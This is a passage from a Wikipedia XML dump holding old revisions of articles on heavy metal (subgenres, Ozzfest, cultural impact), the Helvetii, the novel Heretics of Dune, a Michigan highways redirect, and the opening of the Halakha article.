[[Image:SlayerReigninBlood.jpg|left|thumb|[[Slayer]]'s seminal album ''Reign in Blood'']] By the mid-1980s, as the term &quot;heavy metal&quot; became the subject of much contestation, heavy metal had branched out in so many different directions that new sub-classifications were created by fans, record companies, and fanzines, although sometimes the differences between various sub-genres were unclear, even to the artists purportedly belonging to a given style (see [[List of heavy metal genres]]). 

Notable early 80s sub-genres include the faster [[thrash metal]], pioneered by the '[[Big Four Of Thrash]]' (including [[Anthrax (band)|Anthrax]], [[Megadeth]], [[Metallica]] and [[Slayer]], with San Francisco quintet [[Testament (band)|Testament]] sometimes being included in this group). Following the emergence of these bands, metal continued to push the limits of aggressive loudness in other sub-genres such as [[power metal]], [[black metal]], [[death metal]], [[doom metal]], [[goth metal]], and [[stoner metal]]. (See article: ''[[List of heavy metal genres]]'') These sub-genres, still active today, generally have little or no appeal to mainstream audiences, although Metallica did go on to win over legions of new fans with a more mainstream sound, a move that greatly upset some of their original fan base.

===Alternative Metal (1990s and 2000s)===

The era of mainstream metal, or &quot;Hair Metal,&quot; came to an end with the emergence of [[Nirvana (band)|Nirvana]] and other [[Grunge music|grunge]] bands. These later styles of heavy rock music in the 1990s show influences of heavy metal but are typically not labelled sub-genres of heavy metal. The general absence of virtuosic guitar solos is perhaps one reason grunge bands have not been considered heavy metal bands.
&lt;p&gt;
As the 1990s progressed, however, metal began to make a comeback. This time around, the music had a much more aggressive feel than most of the mainstream metal of the 1980s. In some cases, bands also fused traditional elements with electronic beats and samples. These newer bands are sometimes labeled [[alternative metal]]. Still more subgenres began to appear, such as [[funeral doom]] and [[brutal death metal]], drawing on existing heavy metal subgenres.
&lt;p&gt;
Heavy metal's comeback was soldified with the arrival of [[Ozzfest]] in 1996, a multi-band touring festival hosted by none other than Ozzy Osbourne, the former lead singer of Black Sabbath himself. Later, Osbourne grew even more famous when he and his family starred in a reality TV show called [[The Osbournes]].
&lt;p&gt;
Most of the more popular recent metal bands eventually wound up playing at Ozzfest sooner or later, including [[Pantera]], [[Marilyn Manson]], [[Rob Zombie]], [[Deftones]], [[Godsmack]], [[Tool (band)|Tool]], [[System of a Down]], [[Queens of the Stone Age]], [[Slipknot (band)|Slipknot]], [[Korn]], and many more. In recent years, Ozzfest has had many [[metalcore]] bands playing at the festival and has helped gain the genre much popularity. Some see this style as Nu Metal's succesor while others see it as that will become a victim like Nu Metal did.

==Cultural impact==

The loud, confrontational aspects of heavy metal have led to friction between fans and mainstream society in many countries. Due to the hedonistic nature promoted by the music and its occasional anti-religious sentiments heavy metal as a sub-culture has come under attack in many Islamic countries where even wearing a black T-shirt can be an arrestable offence. In [[Jordan]], for example, all [[Metallica]] albums, past, present and future were banned in 2001[http://www.encycmet.com/news/2001-07-29.shtml]. In Europe and America, the fan base for heavy metal consists primarily of white males in their teens and 20's, many of whom are attracted to heavy metal's overtly anti-social yet fantastical lyrics and extreme volume and tempos. Hence, the stereotype of the spotty-faced, adolescent headbanger venting his rebellious urges by listening to presposterously loud, morbid music. This image has been highlighted in popular culture with such television shows and movies as &quot;[[Beavis and Butt-head]]&quot;&quot; and &quot;[[Airheads]]&quot;. Heavy metal's bombastic excesses, exemplified by hair metal, have often been parodied, most famously in the film ''[[This Is Spinal Tap]]'' (see also the phenomenon of the [[heavy metal umlaut]]). [[Douglas Adams]] neatly satirised the propensity for excessive volume in ''[[The Hitchhiker's Guide to the Galaxy]]'' with the fictional rock band ''Disaster Area'' &amp;mdash; creators of the loudest sound in the known universe. It should be noted, however, that Adams was satirising [[Pink Floyd]] stage shows specifically, rather than heavy metal in general.

Many heavy metal stylings have made their way into everyday (albeit ironic) use; for instance, the &quot;[[devil horns]]&quot; hand sign first popularised by [[Ronnie James Dio]] has become a common sight at many rock concerts. During the 1970s and 1980s, flirtation with occult themes by artists such as [[Ozzy Osbourne]], [[W.A.S.P.]] and [[Iron Maiden]] led to accusations of &quot;[[Satanism|Satanic]]&quot; influences in heavy metal by [[fundamentalist]] [[Christianity|Christians]]. One popular contention during that period was that heavy metal albums featured hidden messages urging listeners to worship the [[Devil]] or to commit suicide (see [[Judas Priest]] and [[backward message]] and [[Allegations of Satanism in popular culture]]).

==Related styles==
Heavy metal has proven somewhat difficult to categorize. Some fans and musicians have a firm concept of genre and subgenre, but others reject such categorization as limiting or useless. Here are some musical styles that sometimes overlap with heavy metal:

[[Hard rock]], mentioned earlier, is also closely related to heavy metal (and at times the terms overlap in usage), but it does not consistently match the description of what purists consider the definition heavy metal. While still guitar-driven in nature and sometimes deriving off of riffs, its themes and execution differ from that of the major heavy metal bands listed earlier in the article. This is perhaps best examplified by [[The Who]] in the late-1960s and early-1970s, as well as other 1970s and 1980s bands like [[KISS (band)|KISS]], [[Queen (band)|Queen]], [[Aerosmith]], [[Thin Lizzy]], [[AC/DC]] and [[Scorpions (band)|Scorpions]].

[[Glam rock]], a short-lived era in the mid-1970s, is the extreme exploration of the fantasy-side of the reality-fantasy parents of heavy metal. [[T. Rex (band)|T. Rex]], [[David Bowie]] and [[Alice Cooper]]  are among the more popular standard examples of this sub-genre. 

A good deal of cross-influence has occured between [[punk rock]] and [[heavy metal music|heavy metal]]. [[Motörhead]], for example, was an influence on many punk bands. Some [[hardcore punk]] bands such as [[Dirty Rotten Imbeciles|DRI]] and [[Suicidal Tendencies]] began playing more metal-like music as they progressed. Punk has also had a large influence on metal, particularly with relation to [[grindcore]]. [[Thrashcore]], [[crust punk]] and [[grindcore]] all have notable influence from both punk and metal. Also, [[Grunge]] is frequently described as Heavy Metal fused with punk's [[DIY ethic]].  

As for metal's relationship with [[art rock]], heavy metal and [[progressive rock]] developed in and around the same scenes, particularly in [[Great Britain]], and as a result many metal bands worked progressive elements into their sound throughout the genre. Albums such as ''Master of Puppets'' by Metallica and ''Seventh Son of a Seventh Son'' by Iron Maiden draw heavy prog elements, and bands such as [[Queensryche]] and [[Dream Theatre]] pioneered a fusion of the two genres.

Heavy metal (along with [[progressive rock]]) has also been cited as (ironically) an influence on the &quot;easy-listening&quot; [[AOR|Adult Oriented Rock]] genre of the [[1980s]].  [[Toto (band)|Toto]] guitarist [[Steve Lukather]] has cited early hard rock and heavy metal music as a profound influence on his playing, and is notably evident on the track &quot;Hold The Line&quot; which shares some common traits with traditional metal. Other AOR bands such as [[Journey (band)|Journey]] and [[supergroup (bands)|supergroup]] [[Asia (band)|Asia]] often incorporated [[power chord]] riffs into their music.  Ironically, some metal bands such as [[Def Leppard]], [[Scorpions (band)|Scorpions]], [[Europe (band)|Europe]] and [[Van Halen]] started moving into a &quot;softer&quot; and more commercial musical direction in the late [[1980s]], which resulted in the term &quot;Soft Metal&quot; being used during that period.

Metal's profound influence on contemporary popular music is again seen in its effect on several bands in the [[garage rock revival]] set of the early 21st century.  [[The White Stripes]], [[Death From Above 1979]] and [[The Yeah Yeah Yeahs]], some of the most popular of these bands, often draw on the nascent metal of [[Cream (band)|Cream]], [[Led Zeppelin]], and [[Black Sabbath]].

==Controversy from ''within'' the genre==

Recent years have seen an appropriation of the heavy metal genre by mass culture, most notably (as would be expected) by music and clothing industries. The rise of [[nu metal]] and [[alternative metal]] in the 1990s attracted heavy criticism from metal fans due to its dilution of heavy metal with influences from Hip hop, alternative rock, industrial rock, and funk, so much so that many metalheads do not see it as being a genre of metal at all. The dress taken up by alt-metal fans and marketed by certain retailers borrows more from Goth, rap, punk, and grunge fashion than traditional metal attire, with hooded sweatshirts, baggy jeans, and piercings being common, and some refer to such individuals as &quot;mini-moshers&quot;.

==Heavy metal dance==

Although most heavy metal fans would disagree with the term &quot;dance,&quot; there are certain body movements that are nearly universal in the metal world, including [[headbanging]], [[mosh]]ing, and various hand gestures such as [[devil horns]].  [[Stage diving]], [[air guitar]] and [[crowd surfing]] are also practiced.

==Sources==
*[[Ian Christe|Christe, Ian]] (2003). ''Sound of the Beast: The Complete Headbanging History of Heavy Metal''. HarperCollins. ISBN 0380811278.
*[[Robert Walser (musicologist)|Walser, Robert]] (1993). ''Running with the Devil: Power, Gender, and Madness in Heavy Metal Music''. Wesleyan University Press. ISBN 0819562602.
*[[Deena Weinstein|Weinstein, Deena]] (1991). ''Heavy Metal: A Cultural Sociology''. Lexington. ISBN 0669218375. Revised edition: (2000) ''Heavy Metal: The Music and its Culture''. DaCapo. ISBN 0306809702.

==External links==
* [http://www.metalrules.com/ Metal Rules] Since 1995 spewing metal
* [http://www.metallian.com/ Metallian] The Metal Encyclopedia with news, interviews and reviews
* [http://www.hmas.org/ HMAS] The site for heavy metal reviews, interviews and no commercial influence or spyware
* [http://www.metalsludge.com/ Metal Sludge] Politically incorrect news and views from the world of hard rock and heavy metal with a sense of humor
* [http://www.metalstorm.ee/ Metal Storm] International webzine dedicated to all things metal

[[Category:Heavy metal]]
[[Category:Musical movements]]
[[Category:Musical genres]]

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[[he:הבי מטאל]]
[[lv:Smagais metāls (mūzikas žanrs)]]
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[[zh:重金属]]</text>
    </revision>
  </page>
  <page>
    <title>Helvetii</title>
    <id>13870</id>
    <revision>
      <id>33290545</id>
      <timestamp>2005-12-30T20:36:27Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] clean up and  re-categorisation per [[WP:CFD|CFD]]</comment>
      <text xml:space="preserve">[[Image:Map Gallia Tribes Towns.png|thumb|300px|A map of [[Gaul]] showing the northern [[Alp]]ine position of the [[Helvetii]].]]

The '''Helvetii''' (in [[Latin]]) were the [[Celt]]ic inhabitants of modern [[Switzerland]]. In the first century BC, they migrated from Southern [[Germany]] to Switzerland. They were described by [[Julius Caesar]] in his ''[[De Bello Gallico]]''.

Under pressure from Germanic tribes in their home territory, they were planning to migrate into Gaul with their entire tribe under the command of [[Orgetorix]]. Caesar was called upon by the [[Gaul]]s of the province of [[Gallia Narbonensis]], which had already been conquered and organized, to defend them from the invading Helvetii.

Caesar, at the time, commanded six legions comprised of nearly 29,000 men. The Helvetii, according to Caesar's writings, had 370,000 people (including children and women), but only 110,000 men-at-arms. Caesar hastily recruited two more fresh legions in preparation.

By the time the tribe began its march, Orgetorix had died. Before leaving, the Helvetii burned their villages and destroyed what foodstuff and other commodities they could not take with them so that they could not turn back.

Lured to a disadvantageous position with the Romans taking the high ground near the [[Aedui]] capital of [[Bibracte]], the Helvetii were attacked by the superior [[Roman Empire|Roman]] forces, who managed to kill nearly 60 percent of the tribe and capture another 20 percent as slaves. The remainder of the Helvetii were driven back into their old lands, [[Helvetia]].

In [[52 BC]], 10,000 Helvetii joined [[Vercingetorix]]'s forces in his attempt to liberate Gaul.


[[Category:Ancient Gauls]]
[[Category:Ancient peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Ethnic groups in Europe]]

[[als:Helvetier]]
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[[ru:&amp;#1043;&amp;#1077;&amp;#1083;&amp;#1100;&amp;#1074;&amp;#1077;&amp;#1090;&amp;#1099;]]</text>
    </revision>
  </page>
  <page>
    <title>Heretics of Dune</title>
    <id>13871</id>
    <revision>
      <id>40738301</id>
      <timestamp>2006-02-22T18:11:50Z</timestamp>
      <contributor>
        <ip>207.101.98.232</ip>
      </contributor>
      <comment>/* Synopsis */</comment>
      <text xml:space="preserve">{{DuneSeries}}

'''''Heretics of Dune''''' is a 1984 [[science fiction]] novel by [[Frank Herbert]], fifth in a series of six novels.

1,500 years have passed since [[Leto Atreides II|Leto's]] reign ended; humanity is firmly on the [[Golden Path]].  By crushing the aspirations of humans for 3,500 years, Leto caused the Scattering, an explosion of humanity into the rest of the universe upon his death.  Now, some of those who went out into the universe are coming back, bent on conquest. Only the [[Bene Gesserit]] perceive the Golden Path, and are faced with a choice: keep to their traditional role of hidden manipulators, quietly easing tensions and guiding human progress, while struggling for their own survival; or embrace the Golden Path and push humanity onward into a new future where humans are free from the threat of extinction.

{{spoiler}}

==Synopsis==
[[Image:HereticsofDune.jpg|thumbnail|200px|Heretics of Dune]]
Much has changed in the millennium and a half since the death of the God Emperor. True to his prophecies, sandworms have reappeared on [[Arrakis]] (now called '''Rakis''') and created Dune anew, renewing the flow of spice to the galaxy. The Empire, meanwhile, has fallen into chaos and confusion; with Leto's death, a hugely complex economic system built on spice collapsed, and with it much of civilization. The famine caused by this resulted in millions upon millions leaving known space in a great [[the scattering|Scattering]]. 

The planets of the old empire have now recovered, and a new civilization has risen. There is no longer one dominant power, but three - the [[Ixians]] (the builders of [[No-ship|no-ships]] capable of piloting between the stars and invisible to outside detection), the [[Bene Tleilax]] (who have learned to manufacture spice in their [[Axolotl tank|axlotl tanks]]), and the [[Bene Gesserit]] (subtle political manipulators). Lesser powers are the [[Spacing Guild]] and the [[Fish Speakers|Fish Speaker council]]. 

However, circumstances are about to change, as new forces begin to make their presence felt in old worlds. People from the Scattering are returning with their own peculiar powers, secrets, and agendas. The most powerful of these forces are the [[Honored Matres]], who are a kind of twisted Bene Gesserit, an order of women who take power via bodies bred and trained for two purposes: combat and the sexual control of men.

Things are brought to the boil by something new arising on [[Arrakis|Rakis]]. Another of the God Emperor's prophecies has come to pass. A girl called [[Sheeana]] has been discovered who can control the giant worms of Rakis. The priesthood on Rakis has accepted her as holy, and the Bene Gesserit watch her development with serious interest.

The Bene Gesserit have long been waiting for this to occur. They have been buying [[Duncan Idaho]] [[ghola|gholas]] generation after generation from the Tleilaxu, in anticipation of the promised sandrider. The Sisterhood intends to use an Idaho ghola to gain control of this sandrider, and thus regain control of the religious forces of mankind. Unlike the multiple Idahos that the God Emperor used in his service, the Bene Gesserit have subtly been altering the gholas to bring their physical reflexes up to modern standards. 

Upon the discovery of the sandrider, [[Taraza]] (the Mother Superior and leader of the Bene Gesserit) brings [[Miles Teg]] reluctantly out of retirement and details him to guard the new Idaho. Teg is the [[Mentat]] son of a Bene Gesserit [[Reverend Mother (Dune)|Reverend Mother]], born to serve the Sisterhood as the commanding [[Bashar]] of all their forces. Guarding Idaho is not some minor task, as the previous eleven gholas have all been assassinated upon reaching adulthood. Taraza also meets with Reverend Mother [[Darwi Odrade]] and details her to take command of the Bene Gesserit keep on Rakis. Odrade is considered something of a loose cannon in the Bene Gesserit: other Sisters are suspicious of Odrade's limited [[prescience]] (inherited through her [[Atreides]] genes), an ability that manifests itself in subtle detections of threats to the Sisterhood. Further, Odrade does not obey normal Bene Gesserit prohibitions about showing emotion. Despite this, she is supremely talented and most suited to Taraza's needs. 

The novel begins on Gammu (previously known as [[Giedi Prime]], former homeworld of [[House Harkonnen]]) where the Bene Gesserit are bringing up a new Duncan Idaho ghola. [[Lucilla (Bene Gesserit)|Lucilla]], a young [[Bene Gesserit Imprinter]], has been sent by Taraza to teach this ghola and bind his loyalty to the Sisterhood. Lucilla's task is made difficult by internal divisions within the Bene Gesserit. The Sisterhood is fiercely divided on the issue of the Duncan Idaho gholas: a strong minority believes that they are dangerous to the Bene Gesserit, and owing to the Byzantine nature of Sisterhood politics, they have placed one of their leaders, Schwangyu, in charge of the project. Lucilla has the additional agenda of repairing any damage created by Schwangyu, who has been subtly encouraging its failure, and even protecting Idaho from Schwangyu if it should prove necessary. 

Duncan Idaho has already been damaged by Schwangyu by the time Lucilla arrives on Gammu. He hates the Bene Gesserit, and only hopes to escape their control of his life. He is extremely precocious and has already divined the fact that he is a ghola. 

The action shifts to a Bene Tleilax meeting in council. The Bene Tleilax are secretly an intensely religious organization who have long nursed dreams of hegemony of human space, dominating others under the weight of their religion. They are currently discussing the so-called [[Atreides Manifesto]], an anonymous document that attacks all religions in known space, except for the Tleilaxu's. They decide to treat the Manifesto as a gift from God and spread it far and wide. The council also reveals the existence of a new breed of Face Dancer. While previous Face Dancers could only mimic the physical attributes of a desired human, the new Dancers are able to absorb the memories of another human, and use those memories to shape themselves in a perfect image of the original. Several of these new Dancers have infiltrated the highest ranks of Ixian, Guild, and Fish Speaker leadership. Additionally, the council is expecting the return of Face Dancers sent out in the Scattering hundreds of years prior. There is some mistrust of these Dancers, however, and many Tleilaxu Masters doubt that these Dancers could have maintained their purity after being exposed to the Lost Ones for so long.

After this meeting, the Tleilaxu Master [[Waff]] goes to secretly meet with the Honored Matres. The Honored Matres intend to 'mark' him and take over the Bene Tleilax, but they underestimate the little Master, and with the aid of a Face Dancer from the Scattering (disguised as an Honored Matre) Waff takes over the ship and kills the Honored Matres aboard. The Face Dancer reports that the Honored Matres have similar skills to the Bene Gesserit, without [[Other Memory]], but greater sexual and fighting skills. Waff fears that the Honored Matres and Reverend Mothers might make common cause. 

On Gammu, Duncan Idaho blossoms under the training of Lucilla and Teg. Schwangyu has used all her wiles to seduce Lucilla to her side but is coming to realize that she has much underestimated Lucilla. 

Meanwhile, the sandrider [[Sheeana]] has been growing up among the priesthood. As a child, Sheeana's home, a village in the desert of Rakis, was destroyed by a rampaging sandworm. At the wane of the attack, Sheeana suicidally confronted the sandworm, which ceased its movements and came to rest in front of the girl. Climbing aboard the great worm as the [[Fremen]] once did, she is carried to Keen (formerly [[Arrakeen]]), where she is found by two priests. She calls the sandworms &quot;[[Shaitan]]&quot;, not the priest-approved &quot;[[Shai-hulud]]&quot;, which was yet another prophecy of the God Emperor.  It can be noted that Shaitan, in Islamic, means &quot;God's Adversary&quot;, and is the [[Etymon]] of the word Satan.

Her adolescence has been strange to say the least. The priesthood believe her to be holy and obey every order she gives them, though they haven't precisely decided what her role should be, and what she will become. Surprisingly she has not been too spoiled by this experience, and because there have been no constraints on her curiosity, her mind has flowed freely and well. The Bene Gesserit have also attached their own spy to her entourage, and ensure her education proceeds in the right way. 

The priesthood is in turmoil on Rakis. Sheeana is approaching adulthood, and her actions and commands are putting the priesthood under increasing pressure. She persists in calling the worms Shaitan, and has banned the priesthood from certain punishments, which the priesthood have had to replace with alternative ones. All this has made Sheeana widely popular among the people, and her religious mantle has spread off world as the Bene Gesserit expected. The priesthood are split into two factions led by [[Tuek]] (the High Priest) and [[Stiros]] (leader of the conservatives). 

Above Gammu, Mother Superior Taraza is willingly captured and held hostage by the Honored Matres aboard an Ixian no-ship. The Honored Matres insist Taraza invite Miles Teg to the ship, hoping to gain control of the ghola project.  In an impressive display of his [[Mentat]] powers, Teg manages to turn tables on the Matres, and rescues the Mother Superior and her party as the Mother Superior had planned. Odrade is in Taraza's party, and she and Teg talk on Taraza's orders; it turns out that Odrade is one of Miles Teg's many daughters, and that it is she who wrote the Atreides Manifesto. 

An attack is made on Sheeana on Rakis, which is only prevented by the intervention of the Bene Gesserit, who take unofficial control of the Priesthood and Rakis (and thus the teaching and guarding of Sheeana). Odrade, personally selected by Taraza, is now leader of the Rakis station, and she takes Sheeana under her wing, training her to be Bene Gesserit. 

At about the same time an attempt is made on the life of Duncan Idaho, but Teg is able to defeat it. Realizing he can no longer protect his charge at the Bene Gesserit keep, Teg flees with Duncan and Lucilla into the countryside. With secret knowledge from his aide-de-camp Patrin, who was born on Gammu, Teg locates a forgotten Harkonnen [[No-ship|no-globe]] which Patrin located as a boy. Patrin decoys the attackers, sacrificing his life so that his Bashar might live.

Taraza arranges a meeting with Waff, going into the meeting full of supposition. The Bene Gesserit have re-evaluated their records and have finally asked themselves the right questions. They have come to recognise that all they know about the Bene Tleilax is what the Tleilaxu have wanted them to know. They suspect that the Tleilaxu have been using gholas among their leaders but aren't even sure of that. Taraza gambles and blackmails Waff with the knowledge that the Bene Tleilax have killed Honored Matres, a knowledge she only has fully confirmed when she sees Waff's reaction. Waff is forced to tell her what he knows about the Honored Matres, and when pressed on the issue of Duncan Idaho admits that the Bene Tleilax have included their own agenda within him. As the meeting draws to a close, she manages by accident to divine that Waff is a secret Zensunni, which finally gives the Bene Gesserit a lever to understand their ancient competitor, and she arranges to meet Waff again on Rakis. 

In the Harkonnen no-globe, Teg proceeds to awaken Idaho's original memories. Teg is facially the spitting image of Duke [[Leto Atreides]], (Paul [[Muad'dib]]'s father) and uses this semblance (and a variety of relentless physical and mental attacks) to awaken Duncan to his pre-death memories. He does so before Lucilla can imprint Duncan and thus tie him to the Sisterhood. Lucilla naturally is not gratified with this, and is unable to use her wiles to imprint Duncan afterward, because the now-awoken Idaho is aware of her agenda. Duncan even tells her that if she tries it, he will attempt to kill her. Stalemate! 

Waff meets Odrade on Rakis. In a meeting with Tuek and Odrade, he panics and tries to assassinate them both; while he succeeds in killing the unsuspecting Tuek, Odrade is too clever for him, and not only dodges his attack but shatters both his arms in a counterattack. Odrade turns the tables on Waff, using knowledge Taraza gained from her meeting with Waff to partially convince him that the Sisterhood shares the religious beliefs of the Bene Tleilax. Waff and Odrade install a new Face Dancer as a replacement Tuek, as the alternatives would be too inconvenient.

In the meantime Taraza, via Teg's finest pupil [[Burzmali]], has been searching for Teg and his party, having little success. But finally, in a flash of inspiration, Burzmali realizes where Teg must be, and establishes contact with him and arranges to bring his party to safety. During the extraction operation, however, Teg and his companions are ambushed. Teg sacrifices himself to capture while Lucilla and Duncan escape with Burzmali.

Odrade decides it would be a good idea to put Waff under pressure and so she arranges a sandworm ride into the desert with Sheeana. The worm, influenced by the God Emperor's &quot;pearl of consciousness&quot; trapped within it, takes the passenger to the former [[Sietch Tabr]], where Odrade finds a secret Spice hoard and a message sent down through time from the God Emperor. This message challenges the Bene Gesserit to abandon their secret ways and openly protect Leto's Golden Path. Leto particularly maligns the Sisterhood's lack of &quot;noble purpose,&quot; an attack that strikes Odrade deeply.

Odrade takes it upon herself to offer full alliance with the Bene Tleilax, in the face of the onslaught of forces out of the Scattering. The cement for this alliance is Waff's belief that the Sisterhood shares his Tleilax religion, which sees Leto as a Prophet from God. Part of the alliance promises Bene Gesserit breeding Sisters for the Tleilaxu to work into their ghola breeding programs; as compensation, the Sisterhood will receive a working axlotl tank for their own purposes. This agreement causes consternation among the Bene Gesserit. Some call for Odrade to be assassinated. Taraza worries over this and then decides to go to Arrakis to decide whether to follow Odrade's course, or to kill her.

On Gammu, Teg is interrogated, indeed tortured, but under the pressure of the experience discovers a new ability in his Atreides heritage: he is able to speed up his physical and mental reactions to lightning speeds, and so is able to escape his bonds and kill everyone imprisoning him. After this speedup, however, Teg requires massive amounts of food to replenish his lost energy. At the same time, Duncan Idaho, who is attempting to get off of Gammu undetected in the guise of a Tleilaxu Master, is ambushed and taken hostage.

Meanwhile on Arrakis, Taraza has come for her inspection. She is worried that Odrade may need to be killed, but on arrival realizes that Odrade has seen her real plan and is merely following it in her own creative way. Taraza seeks the destruction of Dune, because she believes the God Emperor still binds humankind on a particular course through the sandworms of Rakis; Taraza wishes to free humanity to follow its own possibilities. With the destruction of Rakis, the Bene Gesserit would be totally dependent on the Tleilaxu for the Spice they utterly need, so alliance with the Tleilaxu would ensure their supply. Taraza evaluates Sheeana and is impressed with what she sees, and this raises the possibility of the Bene Gesserit following a secondary plan of seeding other planets with worms transported by the sandrider. In an interview with Taraza, Waff discovers he cannot control his Tuek Face Dancer - its copying is so perfect it has forgotten it is actually a Face Dancer. Taraza uses the moment to confirm her alliance with the Bene Tleilax. 

By this time Lucilla and Burzmali arrive at a Bene Gesserit safe house to discover it has been taken over by Honored Matres. Luckily, the young Honored Matre, [[Murbella]], stationed at the safe house is fooled by Lucilla's stolen Honored Matres robe, and accepts her as an observer. Murbella proceeds to seduce the captured Duncan Idaho. However, as she starts the seduction procedure, hidden Tleilaxu conditioning kicks into action and Duncan responds with an equal technique, one that overwhelms Murbella in sexual pleasure, draining her energy. Overwhelmed with a desire to feel such euphoria again, Murbella finds herself unable to kill Duncan, though she recognizes the danger he poses to the Matres. Taking advantage of Murbella's post-coital exhaustion, Lucilla knocks her unconscious. 

The Honored Matres finally attack Arrakis. Taraza is killed with the first attack, cut down by [[lasgun]]s. Odrade has time to merge minds with her, becoming temporary leader of the Bene Gesserit, before escaping with Sheeana into the desert on a worm. 

Eluding capture for a while Teg finally goes to a supposed safe house, only to discover that it has been taken over by the Honored Matres. Meeting them in person Teg is disgusted by their corruption and complete lack of human decency. The Honored Matres have assessed Teg's value to their order and decide to 'mark' him, binding him to their designs. Teg, aware of his new abilities, waits for the chosen Honored Matre to come to collect him, and then unleashes himself upon the complex.

Teg must seek his own allies in order to escape Gammu. He finds a groups of ex-soldiers who have formed a resistance group to the Honored Matres. He brings them together and attacks a no-ship, and captures it. He locates Duncan and Lucilla, and with the captured Honored Matre, takes them to Rakis. 

Teg arrives at this time and with his new vision finds Odrade and Sheeana and their giant worm. He loads them all up in his no-ship, finally leading his troops out on a last suicidal defence of Rakis, designed to attract the rage of the Honored Matres. Fulfilling Taraza's designs, the Honored Matres attack Rakis in full force, decimating the planet and the sandworms. With this attack, the Matres hoped only to destroy Teg, whose abilities they had witnessed through his escape from their Gammu complex. The giant worms are destroyed bar the one the Bene Gesserit escape with. They drown the worm in a mixture of spice and water killing the worm and turning it into sandtrout which will turn Chapterhouse into another Dune. Taraza's camp is proved right: the God Emperor did wish to be freed from his existence, and he did not prevent them from destroying Dune. As we leave the book Odrade is the precarious temporary leader of the Bene Gesserit, by virtue of being at the right place at the right time having inherited Taraza's memories . 

[[Category:1984 books]]
[[Category:Science fiction novels]]
[[Category:Frank Herbert novels]]
[[Category:Dune universe media]]</text>
    </revision>
  </page>
  <page>
    <title>Highways of Michigan</title>
    <id>13872</id>
    <revision>
      <id>15911459</id>
      <timestamp>2004-04-19T12:31:55Z</timestamp>
      <contributor>
        <username>Bkonrad</username>
        <id>44062</id>
      </contributor>
      <minor />
      <comment>rd --&gt; List of highways in Michigan</comment>
      <text xml:space="preserve">#REDIRECT [[List of highways in Michigan]]</text>
    </revision>
  </page>
  <page>
    <title>Halakha</title>
    <id>13873</id>
    <revision>
      <id>41734056</id>
      <timestamp>2006-03-01T10:37:50Z</timestamp>
      <contributor>
        <username>Fintor</username>
        <id>69488</id>
      </contributor>
      <minor />
      <comment>/* Codes of Jewish law */</comment>
      <text xml:space="preserve">{{Jew}}
'''Halakha''' ([[Hebrew language|Hebrew]]: &amp;#1492;&amp;#1500;&amp;#1499;&amp;#1492;; also [[Hebrew transliteration|transliterated]] as ''Halakhah'', ''Halacha'', and ''Halachah'') is the collective corpus of [[Judaism|Jewish]] [[religious law]], including biblical law (the [[613 mitzvot|613 ''mitzvot'']]) and later [[talmud]]ic and rabbinic law as well as customs and traditions. Like the religious laws in many other cultures, Judaism classically drew no distinction in its laws between religious and non-religious life. Hence, Halakha guides not only religious practices and beliefs, but numerous aspects of day-to-day life. 

Historically, Halakha served many Jewish communities as an enforceable avenue of civil and religious law. In the modern era, Jewish citizens may be bound to Halakhah only by their voluntary consent. In Israel, though, certain areas of Israeli family and personal status law are governed by rabbinic interpretations of Halakha. Reflecting the diversity of Jewish communities, somewhat different approaches to Halakha are found among [[Ashkenazi]], [[Mizrahi]], and [[Sefardi]] Jews. Among Ashkenazi Jews, disagreements over Halakha have played a pivotal role in the emergence of [[Orthodox Judaism|Orthodox]], [[Reform Judaism|Reform]], [[Conservative Judaism|Conservative]], and [[Reconstructionist Judaism|Reconstructionist]] streams of Judaism. 

==Terminology==
The name ''Halakha'' derives from the [[Hebrew language|Hebrew]] '''halach''' '''&amp;#1492;&amp;#1500;&amp;#1498;''' meaning &quot;going&quot; or the &quot;[correct] way&quot;; thus a literal translation does not yield &quot;law&quot;, rather &quot;the way to go.&quot;  The term Halakha may refer to a single rule, to the literary corpus of rabbinic legal texts, as well as to the overall system of religious law.

The ''Halakha'' is often contrasted with the ''[[Aggadah]]'', the diverse corpus of rabbinic exegetical, narrative, philosophical and other &quot;non-legal&quot; literatures. At the same time, since writers of ''Halakha'' may draw upon the aggada literature, there is a dynamic interchange between the two genres.

Halakha constitutes the practical application of the 613 [[613 mitzvot|mitzvot]] (&quot;commandments&quot;) (singular: [[mitzvah]]) in the [[Torah]], (the five books of [[Moses]], the &quot;Written Law&quot;) as developed through discussion and debate in the classical [[rabbinic literature]], especially the [[Mishnah]] and the [[Talmud]] (the &quot;[[Oral law#Oral law in Judaism|Oral law]]&quot;) and codified in the [[Shulkhan Arukh]] (the Jewish &quot;Code of Law&quot;.)

==Scope==
The Halakha is a comprehensive guide to numerous aspects of human life, both corporeal and spiritual. Its laws, guidelines, and opinions cover a vast range of situations and principles, in the attempt to comprehend what is implied by the repeated commandment to &quot;be holy as I your God am holy&quot; of the [[Torah]]. They cover what are better ways for a Jew to live, when commandments conflict how one may choose righteously, what is implicit and understood but not stated explicitly, and what has been deduced by implication though not visible on the surface. 

Halakha is shaped and contested by a variety of rabbis (and other Jews), rather than one sole &quot;official voice&quot;, so different individuals and communities may well have different answers to Halakhic questions. Controversies lend rabbinic literature much of its creative and intellectual appeal. With few exceptions, controversies are not settled through authoritative structures because Judaism lacks a single judicial hierarchy or appellate review process for Halakha. Instead, Jews interested in observing Halakha may choose to follow specific rabbis or affiliate with a more tightly-structured community.

Halakha has been developed and pored over throughout the generations since before 500 BCE, in a constantly expanding collection of [[Rabbinic literature|religious literature]] consolidated in the [[Talmud]]. First and foremost it forms a body of intricate judicial opinions, legislation, customs, and recommendations, many of them passed down over the centuries, and an assortment of ingrained behaviors, relayed to successive generations from the moment a child begins to speak. It is also the subject of intense study in ''[[yeshiva]]s''; see [[Torah study]].

As a practical matter, early modern rabbis interpreted Halakha so as to recognize the jurisdiction and enforceability of state law for Jewish citizens. As a result, Jews today need not feel restricted to traditional Halakha for much of their commercial, civil and (especially) criminal law. 

==Laws of the Torah==
:''See also [[Oral law#Oral law in Judaism|Oral law]];   [[Mishnah#Relation between the Bible and the Mishnah|Relationship between the Bible and the Mishnah]] and [[Talmud]]''.

